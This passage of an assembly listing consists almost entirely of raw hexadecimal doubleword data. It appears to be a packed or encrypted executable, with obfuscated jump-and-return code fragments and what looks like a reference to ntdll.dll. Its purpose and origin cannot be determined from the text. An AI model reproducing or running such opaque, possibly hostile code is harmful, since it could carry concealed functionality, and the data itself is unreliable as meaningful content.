0C90AE206h, 6FB074A2h dd 0B5E3124Eh, 8A5B89EBh, 0EF1688EDh, 0C3FDA7CEh, 0D913ED90h dd 475009A6h, 0B5AE5818h, 6B7FDD1h, 0F08EC13Fh, 0DD0BA883h dd 4FCB07C9h, 0BB1941h, 6FDF0000h, 2600A31Bh, 2260BCE7h dd 62FFC9F7h, 1D4C7B34h, 21B5F0B2h, 6F1D4AE7h, 16C9F452h dd 0CAA447ABh, 67315F8Eh, 73A1CC0Bh, 7BDE0CA9h, 5E017359h dd 1C8CB12Fh, 9C39939Bh, 5588C26Eh, 6FE4F0B1h, 100A41Ah dd 0CB17C9D3h, 352943CFh, 0EF000000h, 0B5631A6Fh, 16C91AF1h dd 812587FDh, 1A89CD7Bh, 0A51516C9h, 440E3C67h, 2A653FE2h dd 62FFC9F7h, 7B597B34h, 9B3863A1h, 0A64A79B5h, 30CA379Dh dd 0A000000h, 0EC434C7Bh, 16EC76A2h, 75EB4079h, 0AC5A7BD1h dd 16C91AEAh dd 99CD7EF4h, 0AD470DBh, 50FE2BC8h, 16C9710Eh, 7B7F2387h dd 5786C259h, 0CA379DB3h, 0FFFFFF3Ch, 5588C20Ah, 0A3E391B2h dd 2B16C91Ah, 0EC4E81BBh, 5D8C974Fh, 5566F6h, 0C3A94664h dd 0D9B35689h, 2AD16E9Dh, 862999F1h, 32BE5FD8h, 7DBA941Ch dd 0BAE81754h, 96608EF0h, 73A117F9h, 2091E7DBh, 0AEE11B13h dd 0D0A76780h, 0C74DC176h, 0D0FE316Bh, 9E0075ECh, 0CCDF9637h dd 45267904h, 3C1Ch, 176FE200h, 4D5604A7h, 6E1C3229h, 0F32F5894h dd 6ACC96C4h, 417BEBCDh, 0F9BD6B0Eh, 513200Bh, 67FF2D8Fh dd 13200B5Bh, 0E37AFB9Ch, 6D9BCE09h, 792706A3h, 774526C6h dd 0E9h, 5588C23Dh, 0FA256327h, 9BCE08CCh, 9341626Dh, 16C91AD3h dd 0E2C865DBh, 9E5875A8h, 16C91510h, 4204B2D3h, 4C16C91Eh dd 195339D6h, 0F01443E6h, 810145FDh, 0B6E38A27h, 3CA7E795h dd 0B12716C9h, 0C1F42E14h, 0B4247C93h, 33CA6311h, 0A4141C32h dd 34D73968h, 51EE1D5Ah, 0AF1971AAh, 4F19476Eh, 0B19C4AEDh dd 0F919C6B2h, 0C806E083h, 0C3A65A3h, 633DE042h, 95C0FE27h dd 0D3B9D67h, 0B2E00B49h, 35E386E8h, 16CB8071h, 0C36A077Dh dd 567FBC96h, 0EB88EA19h, 67A2C705h, 6E99D834h, 4161DB0Ch dd 0B8B06F72h, 275FCh, 4B72B200h, 0DD0C482Eh, 6E9DDAC0h dd 0FD306B51h, 91BCFAE0h, 48727074h, 0DCC2DF0Ah, 7157749Bh dd 4EA0732h, 0AD7A97CAh, 5E581ECCh, 0D661326h, 62A17B2Fh dd 0A23F0937h, 36537EBCh, 0C6E31650h, 0A7176F98h, 0C809E304h dd 0CA973A1h, 32295152h, 9C3FB51Ch, 0B89CD7Bh, 9F151320h dd 3CD90443h, 0BD6EC84h, 80211320h, 0C6EAB6F5h, 0C1064526h dd 0CC000000h, 275588C2h, 57FA2563h, 1AC68836h, 52C816C9h dd 18F2FDB5h, 0B781AFDAh, 15D6601Ah, 1A5416C9h, 2183AEEDh dd 0B1E41E04h, 0A4146C83h, 11FA5301h, 0D8F91C32h, 201B642Ah dd 57F46A13h, 58B075h, 54DC36F5h, 0CEA8D5F2h, 6D376590h dd 0D53F97D0h, 233C6A99h, 86340BE1h, 0C2248673h, 4065711Fh dd 0C49E19C6h, 622C5A85h, 0CA6DE3C5h, 4F8DB2F0h, 5D8CC824h dd 0E603652Fh, 6697C200h, 6F726BF2h, 7BA9655Dh, 0B8000001h dd 4E345178h, 0E0C6E312h, 715774A3h, 0E60336h, 767A97C2h dd 0DD08466Ch, 7299DAC0h, 5306F55h, 95C802E8h, 1CCAAB78h dd 13265F5Ah, 0C22D0B64h, 563C5984h, 9ECCE91Ch, 275588C2h dd 0D9F62963h, 0E99748A0h, 16C91AA5h, 0AE51B329h, 0F2E4AE7Fh dd 8D5785B8h, 96D7C6DCh, 0D1ECCF9h, 0BE1C3206h, 0DA77AAE4h dd 1A4D88F8h, 13B15B8h, 5AFC2BCEh, 0A79BEBADh, 0CFB55CF9h dd 1D346295h, 91B255C5h, 0F14D78B7h, 32EC89B0h, 19DDF0BFh dd 0D61C4DC3h, 956F6E02h, 0E0E19Dh, 0DD1D0000h, 77B399B6h dd 8452B48h, 9BD6BCD9h, 27654B68h, 7DBDFFCh, 25426DABh dd 0BAD7FE3Fh, 4D6A95D4h, 0DDFA2D67h, 3D812F10h, 0C113265Fh dd 176F8A68h, 8B33B258h, 0F6589ABAh, 9C0AA553h, 0DA501C34h dd 7BAEE8ACh, 113E785Eh, 251C5AD0h, 8BE3EDEDh, 8031FB29h dd 206B4BE2h, 0C2F0520Dh, 0B4307B2Ah, 670E31CDh, 608F033Dh dd 947B8592h, 90D606CFh, 0C542B112h, 730E1D3Fh, 5BD129AAh dd 0BCF6DCF9h, 5C975B89h, 6FAC8629h, 7EBA340h, 85BFE590h dd 97D5AF52h, 5B1BC96Ch, 6342B197h, 0C3A950EDh, 0F41B5C89h dd 0F79AFCC6h, 5DC080C8h, 0FF9C16FEh, 0A20D3C47h, 0D29F091Eh dd 75A4E13Dh, 1CFAD8h, 7B3A0000h, 1AEAAC5Ah, 3DF416C9h dd 0C91ACF8Fh, 0F759CF16h, 71279846h, 78151B77h, 82C20371h dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h, 0BBF9BDEBh dd 639E6290h, 13E0230h, 0A4E0A4D2h, 81864775h, 4ECh, 242C8900h dd 0C581E589h, 4, 8704ED83h, 685C242Ch, 1BD9h, 57243C89h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0B951241Ch, 0BDB02FFh dd 5705E9C1h, 6FACA5BFh, 5FF929FAh, 5459CF89h, 81241C8Bh dd 4C4h, 8BA5200h, 81000000h, 9503A1C2h, 81DA0116h, 9503A1EAh dd 5A3A8916h, 5B2434FFh, 4C481h, 34FF0000h, 0C4835F24h dd 38CDE904h, 1BFFFFAh, 41FE5BFFh, 0EF46AAB8h, 50C50305h dd 0EE585C6h, 684705E9h, 0CF381725h, 2345B5FFh, 858D05E9h dd 5E939CFh, 0D88BD0FFh, 13D9858Dh, 685005E9h, 104h, 85C6D3FFh dd 5E90EE5h, 0F8BF6853h, 0B5FF8307h, 5E92345h, 39CF858Dh dd 0D0FF05E9h, 29538589h, 0BD8305EFh, 5E91EDDh, 0B840F00h dd 8B000000h, 0E92E459Dh, 5E905h, 0BB0000h, 68000000h dd 100h, 2957B58Dh, 535605EFh, 270195FFh, 0B58D05E9h, 5EF2957h dd 1E9F003h, 4E000000h, 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh dd 6C6FFFFh, 57858D00h, 5005EF29h, 295395FFh, 0FF5805EFh dd 94EFEBE0h, 74928875h, 0EA4A9B14h, 38446E4Ah, 0B02AE96Ah dd 69C69213h, 5476D923h, 0B6446013h, 91E1B83Ah, 808AEB7Fh dd 0CB839914h, 22B2D634h, 6C8C770Eh, 0D0C4FA31h, 1C886F0Ah dd 74C5E31Eh, 5E1E30Bh, 0ABB5B733h, 4F37C95Eh, 1800F470h dd 4AE67340h, 2058EA4Ah, 0AE87Dh, 0CE500000h, 1AC6B7Bh dd 0FA3A4EAEh, 0C8E0F59h, 0F000000h, 68Ah, 8F0F00h, 81000000h dd 6DD2C1h, 4FBEF800h, 6600001Bh, 31FFDF8Bh, 6658D48Ah dd 0E881D18Bh, 2BD5052Ch, 0A5C081F5h, 8B06FC98h, 76F081D6h dd 0F1ECF7Eh, 686h, 0D6D28100h, 501AA737h, 2840Fh, 0C5B60000h dd 13E9018Fh, 4A000000h, 969443B4h, 16CDAFDCh, 9E375955h dd 0EBE63A62h, 0E983747Fh, 18ECBF03h, 0E9491F9Fh, 0Bh dd 44BD7BA8h, 0D11FB13Bh, 4EFD3188h, 0FF94850Fh, 0E2B3FFFFh dd 0AE8h, 9BDC4200h, 0BE0F2242h, 52B73336h, 59F28B66h dd 38B3575Ah, 61C2815Eh, 0F800006Dh, 1B17BFh, 8E900h, 1E040000h dd 0A9B7C3h, 32FFE355h, 0C3806060h, 0BE9B2h, 0AE390000h dd 9832CB76h, 150920A1h, 586161B9h, 0B8F0Fh, 81600000h dd 19033DF2h, 0D3B70F6Eh, 66E88161h, 5612DF48h, 66585160h dd 618D3CB8h, 0E8C08159h, 66394C43h, 6FDDC981h, 22D3E881h dd 0DE9529Fh, 0F6000000h, 0ECA5A2F3h, 4FE57FE2h, 0ED646B53h dd 0CE950h, 0AA8F0000h, 7D1E96B6h, 41F6C650h, 28F8879h dd 83F0B70Fh, 0F6004EAh, 188Ah, 13E900h, 0A9D10000h, 0BFA1F12Ah dd 0D3D15803h, 61978FDAh, 0BAE0623Ch, 61D68B4Ah, 1EF81h dd 850F0000h, 12h, 0F87EBB66h, 2DE9h, 831DE600h, 0CCB3CFA7h dd 14E93F3Ch, 63000000h, 1C10042Dh, 816F880Fh, 0F3E5BB59h dd 28B0C25Bh, 0E9D76843h, 0FFFFFF2Ah, 90DDDB05h, 7E8C44Eh dd 9000000h, 33F35D67h, 40B218C2h, 2789BA5Bh, 0C3811DC6h dd 6D20h, 68CFB70Fh, 0 dd 805ECF8Bh, 34FF3DE6h, 5FC38B1Eh, 15880Fh, 0F600000h dd 0BE9F3B7h, 8E000000h, 83F99B09h, 554417E3h, 816157BFh dd 21F0B3C7h, 0D2816664h, 0EF814E13h, 2DE8CFBDh, 1C4CF781h dd 8A0F5982h, 5, 7B9FF4B9h, 0BE85751h, 0DA000000h, 0B4118C4h dd 588E3749h, 8B664DF2h, 48F5AC2h, 1BE9BA33h, 800F744Dh dd 3, 810CD980h, 72EE84EEh, 36D28052h, 0EE80C681h, 0B70F5272h dd 9CFE81D6h, 0FFFFF93h, 0FFFF7985h, 108C0FFFh, 0E8000000h dd 7, 6B3C95Ch, 0FCD6869h, 8D5AC2B7h, 0EF4B708Dh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0CA30B62Ch, 62786264h, 8166C984h, 89A560D6h, 0E926558Dh dd 0F18B6605h, 80585C7h, 625805E9h, 0BA660000h, 0B5090D2Fh dd 5E91949h, 163D85C7h, 5E9h, 0F600000h, 685h, 0E19D8900h dd 0F05E91Ch, 0FF61DABFh, 0E9257DB5h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 7CA3494Fh, 0D280E80Fh, 0C595FF80h, 6A05E90Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 3ABC355h, 1665BD31h, 6A05E9h, 1E9595FFh, 0C08B05E9h dd 0A9CD0DEBh, 0E4C3855Eh, 4292A877h, 8D34D1B3h, 0EF4C928Dh dd 0DE905h, 49EB0000h, 443050D7h, 68720A0Ch, 89F9856Ch dd 0E926558Dh, 71BD8B05h, 6005E92Dh, 89595260h, 0E92D919Dh dd 9D016105h, 5E93185h, 585C761h, 0AC05E908h, 0E9000063h dd 0Bh, 8F17249Dh, 7662828Ah, 0C7D33537h, 0E9163D85h, 5 dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0F5BA0D85h, 49E28092h, 15DDB5FFh, 6A05E9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 7C5BF5C3h, 0FA2F2A87h, 8919BFF7h, 0E9266D85h, 0C98D0105h dd 0FF05E905h, 0E90BC595h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 84343E0Ah dd 0E86B3E2Bh, 0Eh, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 0CE986E4h dd 77000000h, 0E90BA105h, 61C65535h, 5897241Dh, 0D852951h dd 5B05E932h, 95FF006Ah, 5E91E95h, 1FEBC08Bh, 0B61F2027h dd 9AC295F1h, 0F4AFBE1h, 361B0E56h, 90244816h, 0AA7A31AFh dd 5269C073h, 0EB264FF2h, 0B61B9026h, 8EAFEC33h, 64746E55h dd 642E6C6Ch, 88006C6Ch, 34074621h, 2EA3D25Dh, 546121h dd 0 dd 0E9000000h, 693h, 0EF4E1768h, 3309E905h, 0BC68FFFAh dd 0E905EF4Eh, 0FFFA32FFh, 0EF4F5168h, 32F5E905h, 6B68FFFAh dd 0E905EF50h, 0FFFA32EBh, 0EF512868h, 32E1E905h, 0E368FFFAh dd 0E905EF51h, 0FFFA32D7h, 1F3C63A3h, 0B1CEFD39h, 425F8ECBh dd 0D1EE215Ch, 6582ADEBh, 0FB398161h, 8CCDB3D0h, 23624865h dd 0BBF5DBF8h, 0BD9E6B88h, 26574F0Fh, 18F64F13h, 36CAh dd 88C20A00h, 0E391B255h, 16C91AA3h, 80C6742Bh, 0E16C91Ah dd 0E5933698h, 16C91AA1h, 621AB72Dh, 0B8FB2857h, 46DD0652h dd 5689C3A9h, 40437F39h, 80BF16C9h, 6F0A3855h, 2A04A717h dd 0C892C0EBh, 0E350FE2Bh, 431C3200h, 3B079FCDh, 3C132030h dd 0FD1DA9Bh, 214526FDh, 21Ah, 0B4884E7h, 0F2A043B3h, 1C321C0Dh dd 181CD706h, 0CEA9ACEFh, 0DC0A3172h, 1D937512h, 0FDBB58EEh dd 3C945F1Bh, 0D90829CCh, 1EABAE5Ch, 8ACCFCF1h, 14D70E25h dd 26D4019Eh, 0DDF53F8Dh, 1E3563D9h, 5B356C6h, 0D81B456Eh dd 0C19B3EB4h, 90B15487h, 0B759CE2h, 0FAC22D7h, 15488268h dd 0B24C15E4h, 6E2A22ADh, 4ADh, 27446BABh, 0B9D60541h dd 4A6796D3h, 0D9F62964h, 6D8AB5F3h, 3417969h, 94D5BBD8h dd 2B6A506Dh, 0C3FDE300h, 0C5A67390h, 26545717h, 20FE5713h dd 661488C2h, 16C91A20h, 0A8D638AEh, 5786C39Dh, 0B92981BAh dd 84B6816h, 259B1C32h, 0EBE8E408h, 0D2802393h, 19DB2E2Dh dd 84E2F726h, 22B5459h, 0DE0D8365h, 4006B4D5h, 4E16C976h dd 0A6813BD8h, 0D57F65FDh, 0BC6A0D7Dh, 84AFD517h, 94ABD94Fh dd 7B29CC3Ch, 8141AF14h, 6B45E85Eh, 0B4E1FE31h, 42709BDAh dd 0BBF5DB78h, 36965788h, 0E5DDD6DCh, 40829h, 9FC60600h dd 31609C82h, 0C2F12E14h, 5184BFA5h, 0E5104E34h, 941EC4C8h dd 280E2B56h, 0BDA3C0E7h, 5036537Eh, 0F9C6E316h, 54246A18h dd 51AA1326h, 5588C273h, 0A3E391B2h, 2B16C91Ah, 496018B5h dd 0BDDE81F1h, 0C874618Eh, 97346208h, 314F84DDh, 0E98C021Ch dd 0AA7CE0Fh, 62D22A63h, 0C5F111BFh, 9F1519DDh, 0B5E822FCh dd 9C4A6B98h, 16CFCDDAh, 0EBD16EE4h, 39507EB1h, 20CE71E1h dd 1C34C43Fh, 541AC87Fh, 5A1326CAh, 765182E4h, 0C96984EBh dd 37315D1h, 31710000h, 0CB07ED0Ah, 5C997F9Ch, 0EF2A102Dh dd 7BB99FBCh, 0B32F3350h, 819EC907h, 16335A9Bh, 0A9C6F130h dd 395689C3h, 99DD8B6Ch, 25132655h, 88C2EECCh, 97D8B255h dd 0DF0D3876h, 0BB85B315h, 5AF71E5Fh, 0C3338BA2h, 4DEFF20h dd 276797CAh, 0A716C91Ah, 25DA9431h, 691C321Dh, 0CFA9D6F3h dd 12C6A93h, 0AA709D3h, 1B72Ch, 59936D00h, 2B227526h, 38AD9A19h dd 0A17B6D9Bh, 410B3960h, 0DE7BA6E5h, 70C817BAh, 45835D00h dd 0D13B691Ah, 13E0650Ah, 7284976h, 0C9371559h, 2D549516h dd 67DD35FFh, 31EF10CAh, 0B92F1C32h, 68A7818Ah, 0A8450F3Dh dd 0EDE094EEh, 0D3439B69h, 0F8858230h, 5D7EECE7h, 0F5D0EFAFh dd 7EB1EBE3h, 0B82E8650h, 20C3391Bh, 80DC0746h, 0C0781544h dd 0A0E694B5h, 2EE3F5D0h, 8AE21BB8h, 0AAC9771Ah, 0F0E9099Ah dd 0DB194680h, 56B882B0h, 3D7751F4h, 46A2D510h, 0E3ADDB0Ah dd 5D376481h, 0F9C3F120h, 93C765Ch, 0A409ABD8h, 4400F87Eh dd 259h, 0D3F01757h, 6582B1EDh, 0F613427Fh, 85A2D510h dd 1936619Fh, 0A7E5CD15h, 38795F7Ch, 0CF0EF411h, 67A187A4h dd 694A1734h, 264AFBBBh, 0CCAA0313h, 3467A17Bh, 0B99F3C06h dd 71E4C7Fh, 0EE9C3FAFh, 1C3208C5h, 4707B5D6h, 43132028h dd 0D83DB02h, 0FB188E70h, 0D5F6F9D7h, 284006B4h, 0D84E1320h dd 2028E6A8h, 9723E813h, 925F263Dh, 8A38DB3Dh, 132087C4h dd 7EB754CAh, 6513B626h, 19DB8180h, 0DBB558CEh, 17D06DA0h dd 29519A81h, 0C1318995h, 5797701Eh, 61D792D3h, 54C41C33h dd 356C03B1h, 40B6973Dh, 64A27C9Dh, 7CB69C39h, 0C462C49h dd 9A81A8D9h, 0D6CEE090h, 19C1Ah, 335A9A00h, 0C5F43016h dd 5685C2A8h, 0E5185339h, 79A4E2C8h, 308A585Ch, 0C4AAC7F2h dd 593F5C83h, 0ECD2EF1Ah, 95627FB2h, 4B4006B4h, 0F54E1326h dd 5588C217h, 48B81027h, 6FAA84A5h, 0A6D40742h, 23DD7ADCh dd 1C31FB7Eh, 0C7F51288h, 4A7176Fh, 345E5A56h, 0C76AE01Ch dd 0DD80B3EDh, 0F895C803h, 0FE316B51h, 0F161B9D0h, 122AA04Eh dd 0F66C19DBh, 123F7953h, 0B27CAAD1h, 947EAD50h, 3B9B5F7h dd 2D38C010h, 25874091h, 336188C9h, 3F25CC69h, 8DA4D205h dd 7422C535h, 1C32EEFFh, 94DFB1Ch, 951320E5h, 0E56E30DEh dd 0FA701320h, 0A319FB98h, 8ABB3972h, 0D28E8669h, 0E1h dd 5B789FDFh, 0ED0A3975h, 7E9BCA07h, 0D2A5D98h, 0A1BEE927h dd 2F6D459Dh, 0C001E704h, 57967C99h, 0EF290F2Ch, 0F1D29FBCh dd 264B0343h, 54328B13h, 4A7176Fh, 0C376B4E3h, 0E2B5B8C7h dd 20998B45h, 35561C34h, 0C1F11C5Bh, 132628FDh, 3B93BEFDh dd 814628C5h, 47FA37ABh, 0C5F3555Fh, 0F194C701h, 9981F5C2h dd 0D17D2E5Dh, 832AC756h, 8D30639Dh, 7AA2245Eh, 16E00E3Dh dd 51622B65h, 0B764FCB4h, 0F1CDBC9Dh, 93BEFCD6h, 0C9FE9B65h dd 8BBEF8ACh, 2967416Eh, 417B61FEh, 0BB3C6B0Eh, 561C0AC0h dd 0A3671FBCh, 43073568h, 0E6AAD807h, 6A4E7CA7h, 0A01C82F3h dd 0EB1A5731h, 485C194Eh, 76A5E10Eh, 51CD7E48h, 5B41B84Eh dd 2546E94Bh, 0A88F3777h, 0A441B742h, 0AADD17FDh, 3C07Ch dd 0A1000000h, 5B82C233h, 0FC2F692Dh, 0A0CB0ACEh, 466DAE72h dd 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h, 75A4E0A4h dd 89538647h, 4C381E3h, 83000000h, 0FF5304EBh, 5B042474h dd 5C24048Fh, 516868h, 242C8900h, 0EDD68h, 240C8900h, 4D1FB951h dd 895605EFh, 5EF589CEh, 4EC8159h, 89000000h, 4832424h dd 55590424h, 5716BD55h, 6C31137Dh, 8F5D0424h, 71810841h dd 7D571608h, 240C8B13h, 81E18951h, 4C1h, 4C18100h, 87000000h dd 8B5C240Ch, 8952242Ch, 4C281E2h, 83000000h, 148704C2h dd 88E95C24h, 0D7FFFA2Ch, 1AA84F34h, 0B806EF80h, 5EF52E9h dd 0E0FFC503h, 56D680DEh, 79EBAAB9h, 783D9357h, 4EFEAC72h dd 77339CD3h, 30F01FCDh, 3C1AF272h, 6A76AEE1h, 38345F63h dd 1AE33DBFh, 636B4355h, 49BD2038h, 4744B554h, 11C9E752h dd 14E8h, 4A787A00h, 7A2FAA6Eh, 47BCF338h, 0F48AF105h dd 297F76BAh, 8E9CFh, 7BB0000h, 5AC8A335h, 0B85E0347h dd 63A20AF9h, 686AC681h, 820F0000h, 5, 1032D7B8h, 19F06861h dd 60500000h, 5861BBB5h, 1E8BF859h, 10E9h, 3DEDE000h, 7EDF5284h dd 0E5D8CE2Fh, 0C31278F2h, 7CF3818Bh, 5712D5F7h, 0DC88BF66h dd 80EB815Ah, 0BF600EADh, 3BED872Fh, 48F1C381h, 800F4F8Ah dd 0 dd 0E1DC8053h, 0EA80068Fh, 3EE83F5h, 0C34DBF60h, 0ADB96721h dd 611F7710h, 0FDEEB84Eh, 0E9810E6Ch, 1, 0FF9C850Fh, 0DAB8FFFFh dd 0EB541617h, 8, 848C9200h, 526E909h, 7A680000h, 0E905EF55h dd 0FFFA2B73h, 0EF560168h, 2B69E905h, 7968FFFAh, 0E905EF57h dd 0FFFA2B5Fh, 0A7C4EB2Bh, 395685C1h, 0CAE71653h, 5976A9E4h dd 0ED0A3573h, 83C1F9E9h, 14553B58h, 0ABEAD0EDh, 437D6380h dd 4526F310h, 264ED797h, 0A07ED713h, 2B5984C2h, 0E625FF20h dd 93C38DBBh, 16C91AD3h, 1D37CC82h, 0BF174C41h, 8CC6AC49h dd 350F3C59h, 0D29CCAF9h, 34A4FC35h, 4B7AB791h, 96D381AEh dd 201C32FBh, 0DEE47CAAh, 191320F3h, 0E2AEFD78h, 0FE45263Eh dd 326h, 81ACEBC5h, 0BEEC8953h, 0B40C4384h, 5F80A144h dd 0C91AEDB1h, 81B0ED16h, 5C16B329h, 1C321CBBh, 0C85E8D03h dd 66473AB3h, 41E454ACh, 0BD9E1293h, 3A61CE4h, 5364E2D4h dd 2DCA6688h, 96065E75h, 52A3D2F3h, 0B4BDE1EFh, 8D843EDBh dd 95E1576Eh, 68A27C1Fh, 73CFFE3Bh, 86A30538h, 23366A0h dd 76E85CADh, 81E6A29Ah, 48000003h, 0DEC4E108h, 705673A2h dd 1E70433h, 907693C6h, 60A2752h, 6D98D6DCh, 2296A50h dd 95C0FFE5h, 25589278h, 0AC5A3B08h, 13264FEAh, 6FBD9BF4h dd 0E304A717h, 69A6CB09h, 0E0420C3Ah, 914BE8B2h, 1C3466E5h dd 98C704DEh, 3B6AA66Ah, 44E1430Dh, 2849EC62h, 9E01AFF9h dd 6906ED56h, 0FD1A4583h, 80AED917h, 33754675h, 8E08EEC4h dd 9AC8F332h, 8A7933D0h, 0CC63ACE1h, 7F2E5F92h, 0D07563CEh dd 2FA1CD8h, 81C10000h, 1B573D5Ah, 0ACE9CFECh, 3F7A607Dh dd 0CB09EF0Ch, 637F83A0h, 0D1EE1957h, 6683AAEBh, 0F9164180h dd 89A6D913h, 692DDBBCh, 7513264Ch, 176F3E1Ch, 1AF6B866h dd 789F16C9h, 34D7D37Eh, 45A71D75h, 69A781A2h, 0A946103Eh dd 341887EFh, 3610C71Ch, 0D19BC9FCh, 2630DDA1h, 96BE113h dd 0D7974566h, 0D3132630h, 9C126A95h, 93AF47FFh, 0EF132630h dd 935785B0h, 39FD2B52h, 0D49ECCFFh, 1688ED4Ch, 44670EAFh dd 4520F99Ch, 0A2F05988h, 0B82F824Fh, 19CFA1Bh, 0E7C10000h dd 86507EA9h, 88C2BBE9h, 0FB1C2755h, 0C91A094Dh, 0C31F9516h dd 622C5A85h, 72A5DFC5h, 54C41C55h, 6A9DD7B1h, 0A8D5723Ch dd 32237DFAh, 0A2DCB61Ch, 7AF0D26Fh, 0C8EB44Ch, 48E91320h dd 0C5D27E2Dh, 3BCE4526h, 94000000h, 4A7176Fh, 32294D56h dd 1543B91Ch, 200B457Dh, 0F819B213h, 200B044Ah, 77148A13h dd 92A3342h, 200B1B5Bh, 236B4A13h, 0D1F0FBAh, 0C3A23FB5h dd 4526CE1Dh, 9613h, 88C2D900h, 421C2755h, 0DFA9D706h dd 0F31E5C42h, 94C701C5h, 40815B66h, 8421EB19h, 1431649Eh dd 0C9164A5Ah, 5F92CC16h, 41B10942h, 80C3F09Eh, 0FED81C2Fh dd 5D6896BDh, 22A8EFAFh, 1779EF13h, 7F22987Ah, 0E3C67A5h dd 0A07AA744h, 341A3762h, 0F99ACBF6h, 366988F0h, 182823Eh dd 9490000h, 0A3DFC5E2h, 34715774h, 0C702E805h, 53917794h dd 0DB070B28h, 5976A1DFh, 0EE0B3273h, 819EC908h, 112E619Bh dd 0F1B56344h, 0FD13264Dh, 84C2C6A4h, 1C563C59h, 0C29ECCE9h dd 63275588h, 0ACD9F629h, 1A99DD8Bh, 2CDA16C9h, 16C91A6Ah dd 30A6FE74h, 43025A93h, 81BC1A94h, 0A556204Eh, 9DFF9919h dd 7234CFAh, 0F56B1C32h, 0FF082352h, 22BBFBA9h, 0CD431320h dd 3EA69E1Ch, 5C9A74A1h, 0A7C42F0h, 0C821320h, 0EFD38DAAh dd 1313200Ah, 0E203A6D9h, 200A7234h, 0E397813h, 48BE16E0h dd 507EB1ECh, 1542E986h, 0A3D1FC3Bh, 1375A0DFh, 2D529076h dd 3563C5ECh, 0C779h, 176FB900h, 0E1436EADh, 66E2903Eh dd 0CAF91C34h, 47464AE7h, 6648E5CFh, 7E2C4DF0h, 13265238h dd 0FBB350C6h, 58A0CFF0h, 7486B56Dh, 0AE125484h, 269C1326h dd 6CD3DD75h, 922F1E4Dh, 9C3F72ACh, 609D3C6Dh, 0FFC9F722h dd 2F91C84Eh, 264D3D81h, 0E94BC113h, 85BFA54Ch, 7E542F03h dd 5FC168DBh, 23079931h, 9ABD1740h, 5C8FC9DBh, 0EC1F593Fh dd 8CBFFABEh, 0C847BAE9h, 0ADBA0F06h, 0FD745810h, 16C4E578h dd 1F4DE650h, 654BE85Eh, 4509B72Bh, 491F4DE6h, 2C0ED984h dd 52B4AAC0h, 0B3EDD3F0h, 156DA631h, 0E23EFF98h, 824C7AA1h dd 0E14E7D20h, 0EFD54861h, 6622DA77h, 0Ch, 0E16778A7h dd 65E127D6h, 33A19AC8h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh dd 4775A4E0h, 4EC8386h, 89240489h, 405E0h, 0E8830000h dd 24048704h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h dd 243C895Ch, 21CB68h, 242C8900h, 400367BFh, 524F4F56h dd 50AECEBAh, 5AD72950h, 242C8B54h, 5104C483h, 4D89F989h dd 240C8B08h, 4C481h, 34FF0000h, 0C4835D24h, 243C8B04h dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFA265Fh dd 4DEF2D64h, 750B8DA5h, 0EF5920B8h, 0FFC50305h, 1D1799E0h dd 0C6EE8A37h, 587BEC46h, 82047904h, 3AC9CD68h, 0C6B03036h dd 0D68D8D03h, 6A05EF5Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0BB4DC357h, 4D118749h dd 430729A7h, 5DBD29h, 0B58905E9h, 5E90EC5h, 26558D89h dd 858B05E9h, 5E923B5h, 80585C7h, 5C3405E9h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 29B19DC3h, 8B674F39h, 0E92439BDh, 890F6005h, 6, 24799D89h dd 5E905E9h, 3000000h, 12F53AEBh, 9D858B61h, 0C705E91Fh dd 0E9163D85h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0FFF5E9F5h, 0E9182DB5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0B23D7B28h, 38562198h, 0C595FFDFh, 6A05E90Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 9A3AC352h, 0B7A8DC29h, 0F78B6687h, 95FF006Ah dd 5E91E95h, 6BEBC08Bh, 0F8B604DBh, 0D83EC648h, 58A0A8F5h dd 0AE93DD04h, 0AF5E73A8h, 379BCF1Fh, 394D3B40h, 732C8EBh dd 0E828EF02h, 0E0F1BB55h, 5A12B933h, 0BA9C2CF9h, 0DC9CE4Eh dd 42004036h, 0AA16D849h, 79FDDF27h, 6A0058DCh, 3E32A989h dd 25CCEAACh, 0F747CEA4h, 731A4D82h, 45B1E130h, 39814F83h dd 0F6C3CFB7h, 0D874A1A4h, 1C80F15Bh, 5393E39Fh, 5DB13EE8h dd 0ACF23256h, 55F201EEh, 0ABB13256h, 0D5B13256h, 0EAE89EEAh dd 75EB827Fh, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13254h, 57B93581h, 0ABAF3252h, 0D5B93254h dd 0EA7B3255h, 77F63256h, 0B8F63256h, 5DB132EEh, 3F01FD56h dd 37803D37h, 1CBE6906h, 8DEB539Ch, 0BA9506DFh, 7C586006h dd 0F7B13256h, 14E12154h, 0ABCD5D18h, 51580359h, 8DB13256h dd 670C2631h, 79E96855h, 15E16A0Ch, 31D76006h, 3B803D86h dd 0F45869E8h, 0E0BE520Eh, 0A558AE94h, 0DBB13256h, 0F0740E79h dd 93F01A1Dh, 0C8CCE671h, 0E350B295h, 0AEB126BFh, 9D845E56h dd 